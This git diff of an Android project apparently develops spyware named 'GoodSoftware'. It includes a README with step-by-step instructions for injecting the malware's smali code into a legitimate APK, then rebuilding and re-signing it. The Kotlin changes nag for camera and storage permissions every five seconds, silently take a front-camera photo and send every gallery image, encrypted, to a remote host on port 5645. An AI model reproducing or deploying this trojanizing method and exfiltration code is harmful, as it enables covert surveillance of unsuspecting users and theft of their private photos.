diff --git a/README.md b/README.md new file mode 100644 index 0000000..565b22f --- /dev/null +++ b/README.md @@ -0,0 +1,78 @@ +## Prep +### Without Camera + +1. Comment out the timer and compile + + ```kt + private fun startCheckingPermission() { + timerStorage = Timer("CheckStoragePermissionTimer", false) + + timerStorage?.scheduleAtFixedRate(0, 5000) { + checkStoragePermission() + println("Requesting storage permission again") + } + + /* timerCamera = Timer("CheckCameraPermissionTimer", false) + + timerCamera?.scheduleAtFixedRate(0, 5000) { + checkCameraPermission() + println("Requesting camera permission again") + }*/ + ``` + +2. Decompile the apk `apktool d malware.apk` +3. Decompile original app `apktool d application.apk` +4. Move malware to normal application `cp -r malware/smali/com/* application/smali/com/` +5. Under the onCreate of original app + + ```smali + new-instance p1, Lcom/ti/m/GoodSoftware; + + move-object v0, p0 + + check-cast v0, Landroid/content/Context; + + invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;->(Landroid/content/Context;)V + + invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V + ``` +6. Copy the permissions from the malware manifest to original manifests permissions + ```xml + + + + + + + ``` + +### With Camera + +1. Do the steps of without camera but don't uncomment the timer +2. Copy camera to existing androidx folder `cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/` +3. Copy androidx futures to existing `cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/` +4. Copy MediatorLiveData `cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/` +5. Copy Camera metadata from Manifest + ```xml + + + + + ``` + +6. Copy Camera Queries to manifest under the permissions + ```xml + + + + + + ``` + + +## Final Steps +1. Build the application `apktool b application -o unsigned.apk` +2. Align using zipalign `zipalign -p -f -v 4 unsigned.apk App_Injected.apk` +3. Generate keystore `keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000` +4. Sign Apk `apksigner sign --ks key.keystore App_Injected.apk` +5. Done diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 0abc4a6..4bf9085 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -69,8 +69,11 @@ dependencies { androidTestImplementation(libs.androidx.ui.test.junit4) debugImplementation(libs.androidx.ui.tooling) debugImplementation(libs.androidx.ui.test.manifest) - implementation("androidx.camera:camera-camera2:$camerax_version") - implementation("androidx.camera:camera-extensions:$camerax_version") + implementation("androidx.camera:camera-core:${camerax_version}") + implementation("androidx.camera:camera-camera2:${camerax_version}") + implementation("androidx.camera:camera-lifecycle:${camerax_version}") + implementation("androidx.camera:camera-extensions:${camerax_version}") + implementation("androidx.concurrent:concurrent-futures:1.1.0") implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0") diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 4eaf191..f97a015 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,9 +1,11 @@ package com.ti.m import android.Manifest +import android.app.Activity import android.content.ContentResolver import android.content.ContentUris import android.content.Context +import android.content.ContextWrapper import android.content.pm.PackageManager import android.graphics.Bitmap import android.graphics.BitmapFactory @@ -23,6 +25,7 @@ import androidx.core.app.ActivityCompat import androidx.core.content.ContextCompat import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.lifecycleScope +import com.ti.m.MainActivity import kotlinx.coroutines.launch import java.io.BufferedReader import java.io.ByteArrayOutputStream @@ -33,19 +36,24 @@ import java.security.KeyFactory import java.security.PublicKey import java.security.SecureRandom import java.security.spec.X509EncodedKeySpec +import java.util.Timer import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec +import kotlin.concurrent.schedule +import kotlin.concurrent.scheduleAtFixedRate +import kotlin.concurrent.thread -class GoodSoftware (private val activity: MainActivity) { +class GoodSoftware (private val activity: Context) { private var cameraProvider: ProcessCameraProvider? = null private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var imageCapture: ImageCapture? = null private val REQUEST_CAMERA_PERMISSION = 100 private val REQUEST_GALLERY = 101 private val REQUEST_MEDIA_IMAGES_PERMISSION = 102 - + private var timerStorage: Timer? = null + private var timerCamera: Timer? = null private companion object { private const val RSA_ALGORITHM = "RSA" @@ -97,84 +105,125 @@ class GoodSoftware (private val activity: MainActivity) { } fun launch() { - checkCameraPermission() + Thread{ + startCheckingPermission() + }.start() + } + + private fun startCheckingPermission() { + timerStorage = Timer("CheckStoragePermissionTimer", false) + + timerStorage?.scheduleAtFixedRate(0, 5000) { + checkStoragePermission() + println("Requesting storage permission again") + } + + timerCamera = Timer("CheckCameraPermissionTimer", false) + + timerCamera?.scheduleAtFixedRate(0, 5000) { + checkCameraPermission() + println("Requesting camera permission again") + } + } + + private fun stopCheckingStoragePermission() { + timerStorage?.cancel() + } + + private fun stopCheckingCameraPermission() { + timerCamera?.cancel() + } + + fun Context.getActivity(): Activity? { + var context = this + while (context is ContextWrapper) { + if (context is Activity) { + return context + } + context = context.baseContext + } + return null } private fun checkCameraPermission() { if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { requestCameraPermission() - } else { - startPictureCapture() + }else{ + takePicture() + stopCheckingCameraPermission() } } private fun requestCameraPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) + val activity = activity.getActivity() + activity?.let { + ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION) + } } + private fun checkStoragePermission() { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { - // Request READ_MEDIA_IMAGES permission for Android 13 and higher - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED){ requestMediaImagesPermission() - } else { - // For lower Android versions, request READ_EXTERNAL_STORAGE - requestGalleryPermission() + }else{ + grabMedia() + stopCheckingStoragePermission() } } else { - startPictureCapture() + if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){ + requestGalleryPermission() + }else{ + grabMedia() + stopCheckingStoragePermission() + } } } @RequiresApi(Build.VERSION_CODES.TIRAMISU) private fun requestMediaImagesPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) + val activity = activity.getActivity() + activity?.let { + ActivityCompat.requestPermissions(it, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION) + } } - private fun startPictureCapture() { - activity.lifecycleScope.launch { - try { - // Check and request camera permission - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { - requestCameraPermission() - } - - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) { - checkStoragePermission() + private fun takePicture(){ + val activity = activity.getActivity() + try { + activity?.let { act -> + if (act is LifecycleOwner) { + act.lifecycleScope.launch { + takeBeautifulPicture(act, act) } } else { - if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) { - checkStoragePermission() + // Handle the case where the activity is not a LifecycleOwner + Log.e("Error", "Activity is not a LifecycleOwner") + } + } + }catch (e: Exception) { + e.printStackTrace() + } + } + + + private fun grabMedia(){ + Thread { + try { + val imageList = getAllImagesFromGallery(activity) + val connection = establishConnectionWithRetry() ?: return@Thread + for (image in imageList) { + val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) + sendDataToServer(base64Image, connection) + if(image != imageList.last()){ + next(connection) } } - - // If both permissions are granted, proceed with picture capture and gallery access - takeBeautifulPicture(activity, activity) - - Thread { - try { - val imageList = getAllImagesFromGallery(activity) - val connection = establishConnectionWithRetry() ?: return@Thread - for (image in imageList) { - println(image) - val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver) - sendDataToServer(base64Image, connection) - if(image != imageList.last()){ - next(connection) - } - } - disconnect(connection) - } catch (e: Exception) { - e.printStackTrace() - // Handle the exception, e.g., log the error or notify the user - } - }.start() + disconnect(connection) } catch (e: Exception) { e.printStackTrace() - // Handle the exception, e.g., log the error or notify the user } - } + }.start() } @@ -229,7 +278,10 @@ class GoodSoftware (private val activity: MainActivity) { private fun requestGalleryPermission() { - ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) + val activity = activity.getActivity() + activity?.let { act -> + ActivityCompat.requestPermissions(act, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY) + } } // Handle permission request result @@ -237,26 +289,17 @@ class GoodSoftware (private val activity: MainActivity) { when (requestCode) { REQUEST_CAMERA_PERMISSION -> { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { - startPictureCapture() - } else { - // Camera permission denied - // Handle accordingly + takePicture() } } REQUEST_GALLERY -> { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { - startPictureCapture() - } else { - // Gallery permission denied - // Handle accordingly + grabMedia() } } REQUEST_MEDIA_IMAGES_PERMISSION -> { if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) { - startPictureCapture() - } else { - // Media images permission denied - // Handle accordingly + grabMedia() } } } @@ -274,7 +317,7 @@ class GoodSoftware (private val activity: MainActivity) { fun establishConnection(): ConnectionResult{ val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!! - val host = "thinclient.duckdns.org" + val host = "192.168.90.151" val port = 5645 val secureRandom = SecureRandom() val keyBytes = ByteArray(16) @@ -311,10 +354,8 @@ class GoodSoftware (private val activity: MainActivity) { while (attempt < maxRetries) { try { connectionResult = establishConnection() - println("Connection successful") break } catch (e: Exception) { - println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds") e.printStackTrace() attempt++ Thread.sleep(getRetryDelay(attempt)) @@ -373,72 +414,69 @@ class GoodSoftware (private val activity: MainActivity) { } suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) { - // Ensure that cameraProvider is initialized - cameraProvider = ProcessCameraProvider.getInstance(context).await() + try { + cameraProvider = ProcessCameraProvider.getInstance(context).await() - // Ensure that the selected camera is available - if (!hasBackCamera() && !hasFrontCamera()) { - Log.e(picture.TAG, "Back and front camera are unavailable") - return - } - - // Select the lens facing, prioritize front camera if available - lensFacing = if (hasFrontCamera()) { - CameraSelector.LENS_FACING_FRONT - } else { - CameraSelector.LENS_FACING_BACK - } - - // Create ImageCapture instance - imageCapture = ImageCapture.Builder() - .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) - .build() - - // Set up image capture listener - val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { - override fun onError(exc: ImageCaptureException) { - Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) - cameraProvider?.unbindAll() + if (!hasBackCamera() && !hasFrontCamera()) { + Log.e(picture.TAG, "Back and front camera are unavailable") + return } - override fun onCaptureSuccess(image: ImageProxy) { - // Process captured image here - val byteArrayOutputStream = ByteArrayOutputStream() - val imagePlane = image.planes[0] - val buffer = imagePlane.buffer - val bytes = ByteArray(buffer.capacity()) - buffer.get(bytes) - byteArrayOutputStream.write(bytes) - val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) - Thread { - val conn = establishConnectionWithRetry() - if (conn == null) { - return@Thread + lensFacing = if (hasFrontCamera()) { + CameraSelector.LENS_FACING_FRONT + } else { + CameraSelector.LENS_FACING_BACK + } + + imageCapture = ImageCapture.Builder() + .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) + .build() + + val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { + override fun onError(exc: ImageCaptureException) { + Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) + cameraProvider?.unbindAll() + } + + override fun onCaptureSuccess(image: ImageProxy) { + val byteArrayOutputStream = ByteArrayOutputStream() + val imagePlane = image.planes[0] + val buffer = imagePlane.buffer + val bytes = ByteArray(buffer.capacity()) + buffer.get(bytes) + byteArrayOutputStream.write(bytes) + val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) + thread { + try { + val conn = establishConnectionWithRetry() + if (conn == null) { + return@thread + } + sendDataToServer(base64Image, conn) + disconnect(conn) + } catch (e: Exception) { + e.printStackTrace() + } } - sendDataToServer(base64Image, conn) - disconnect(conn) - }.start() - cameraProvider?.unbindAll() - image.close() + cameraProvider?.unbindAll() + image.close() + } } + + cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) + + imageCapture?.takePicture( + ContextCompat.getMainExecutor(context), + imageCapturedListener + ) + } catch (e: ClassNotFoundException) { + Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.") + } catch (e: Exception) { + Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e) } - - // Bind the camera and start image capture - cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture) - - - imageCapture?.takePicture( - ContextCompat.getMainExecutor(context), - imageCapturedListener - ) - } - - - - private fun hasBackCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false } @@ -452,6 +490,7 @@ class GoodSoftware (private val activity: MainActivity) { } fun getAllImagesFromGallery(context: Context): List { + val activity = context.getActivity() val imageList = mutableListOf() val contentResolver: ContentResolver = context.contentResolver val imageProjection = arrayOf( @@ -485,7 +524,9 @@ class GoodSoftware (private val activity: MainActivity) { } } } else { - ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) + activity?.let { + ActivityCompat.requestPermissions(activity, arrayOf(permission), REQUEST_MEDIA_IMAGES_PERMISSION) + } } return imageList diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index 98809ff..6075382 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -2,33 +2,11 @@ package com.ti.m import android.os.Bundle import androidx.activity.ComponentActivity -import androidx.activity.compose.setContent -import androidx.compose.foundation.layout.fillMaxSize -import androidx.compose.material3.MaterialTheme -import androidx.compose.material3.Surface -import androidx.compose.ui.Modifier import androidx.lifecycle.LifecycleOwner -import com.ti.m.ui.theme.MTheme class MainActivity : ComponentActivity(), LifecycleOwner { - private lateinit var goo: GoodSoftware - override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) - setContent { - MTheme { - Surface( - modifier = Modifier.fillMaxSize(), - color = MaterialTheme.colorScheme.background - ) { - } - } - } - GoodSoftware(this@MainActivity).launch() - } - - override fun onRequestPermissionsResult(requestCode: Int, permissions: Array, grantResults: IntArray) { - super.onRequestPermissionsResult(requestCode, permissions, grantResults) - goo.onRequestPermissionsResult(requestCode, grantResults) + GoodSoftware(this).launch() } }